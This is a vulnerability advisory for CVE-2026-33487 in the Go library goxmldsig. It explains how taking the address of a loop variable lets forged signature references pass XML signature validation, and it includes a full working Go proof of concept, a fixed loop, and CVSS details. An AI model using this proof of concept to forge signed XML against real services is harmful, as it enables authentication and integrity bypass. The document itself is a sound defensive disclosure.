CVE-2026-33487
ADVISORY - githubSummary
Details
The validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop.
Technical Details
The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.
As a result, any pointer to this variable will always point to the value of the last element processed by the loop, no matter which element matched the search criteria.
Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.
// goxmldsig/validate.go (Lines 309-313)
for _, _ref := range signedInfo.References {
if _ref.URI == "" || _ref.URI[1:] == idAttr {
ref = &_ref // <- Capture var address of loop
}
}
PoC
The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"fmt"
"math/big"
"time"
"github.com/beevik/etree"
dsig "github.com/russellhaering/goxmldsig"
)
func main() {
key, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
panic(err)
}
template := &x509.Certificate{
SerialNumber: big.NewInt(1),
NotBefore: time.Now().Add(-1 * time.Hour),
NotAfter: time.Now().Add(1 * time.Hour),
}
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
if err != nil {
panic(err)
}
cert, _ := x509.ParseCertificate(certDER)
doc := etree.NewDocument()
root := doc.CreateElement("Root")
root.CreateAttr("ID", "target")
root.SetText("Malicious Content")
tlsCert := tls.Certificate{
Certificate: [][]byte{cert.Raw},
PrivateKey: key,
}
ks := dsig.TLSCertKeyStore(tlsCert)
signingCtx := dsig.NewDefaultSigningContext(ks)
sig, err := signingCtx.ConstructSignature(root, true)
if err != nil {
panic(err)
}
signedInfo := sig.FindElement("./SignedInfo")
existingRef := signedInfo.FindElement("./Reference")
existingRef.CreateAttr("URI", "#dummy")
originalEl := etree.NewElement("Root")
originalEl.CreateAttr("ID", "target")
originalEl.SetText("Original Content")
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
signedInfo.InsertChildAt(existingRef.Index(), ref1)
c14n := signingCtx.Canonicalizer
detachedSI := signedInfo.Copy()
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
}
canonicalBytes, err := c14n.Canonicalize(detachedSI)
if err != nil {
fmt.Println("c14n error:", err)
return
}
hash := signingCtx.Hash.New()
hash.Write(canonicalBytes)
digest := hash.Sum(nil)
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
if err != nil {
panic(err)
}
sigVal := sig.FindElement("./SignatureValue")
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
certStore := &dsig.MemoryX509CertificateStore{
Roots: []*x509.Certificate{cert},
}
valCtx := dsig.NewDefaultValidationContext(certStore)
root.AddChild(sig)
doc.SetRoot(root)
str, _ := doc.WriteToString()
fmt.Println("XML:")
fmt.Println(str)
validated, err := valCtx.Validate(root)
if err != nil {
fmt.Println("validation failed:", err)
} else {
fmt.Println("validation ok")
fmt.Println("validated text:", validated.Text())
}
}
Impact
This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.
Remediation
Update the loop to capture the value correctly or use the index to reference the slice directly.
// goxmldsig/validate.go
func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {
var ref *types.Reference
// OLD
// for _, _ref := range signedInfo.References {
// if _ref.URI == "" || _ref.URI[1:] == idAttr {
// ref = &_ref
// }
// }
// FIX
for i := range signedInfo.References {
if signedInfo.References[i].URI == "" ||
signedInfo.References[i].URI[1:] == idAttr {
ref = &signedInfo.References[i]
break
}
}
// ...
}
References
https://cwe.mitre.org/data/definitions/347.html
https://cwe.mitre.org/data/definitions/682.html
https://github.com/russellhaering/goxmldsig/blob/main/validate.go
Author: Tomas Illuminati
GitHub
CVSS SCORE
7.5high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| github.com/russellhaering/goxmldsig | golang | - | - | <=1.5.0 | 1.6.0 |
| github.com/russellhaering/goxmldsig | golang | - | - | <0.0.0-20260318050736-878c8c615feb | 0.0.0-20260318050736-878c8c615feb |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is no impact to availability within the impacted component.
NIST
CVSS SCORE
7.5highGoLang
-
Chainguard
CGA-q6q9-f5cq-5pgw
-
minimos
MINI-2h4j-p74g-qr9p
-
minimos
MINI-35rh-257w-3rgx
-
minimos
MINI-446w-6v3c-rv67
-
minimos
MINI-62mf-h9q4-7m9c
-
minimos
MINI-66m6-7gwr-h6hp
-
minimos
MINI-6j5f-2p48-5h24
-
minimos
MINI-75jx-x4w5-7v97
-
minimos
MINI-8wfh-rgmw-gp6x
-
minimos
MINI-9qpr-82gc-9wjf
-
minimos
MINI-ccf6-594f-c857
-
minimos
MINI-crrw-fvcw-xjfm
-
minimos
MINI-f8xw-rw74-6fg9
-
minimos
MINI-fj69-8pg9-6p45
-
minimos
MINI-gcc6-3372-wgqf
-
minimos
MINI-h8rc-fx3v-2j4r
-
minimos
MINI-hv8j-234p-85gc
-
minimos
MINI-jj45-h9rx-3p3h
-
minimos
MINI-mrgc-367w-wx2x
-
minimos
MINI-qj83-ghgv-6g5p
-
minimos
MINI-rrqr-6g9j-r9fp
-
minimos
MINI-wc4h-3fc6-hrxc
-
minimos
MINI-xx72-wm4v-5f5c
-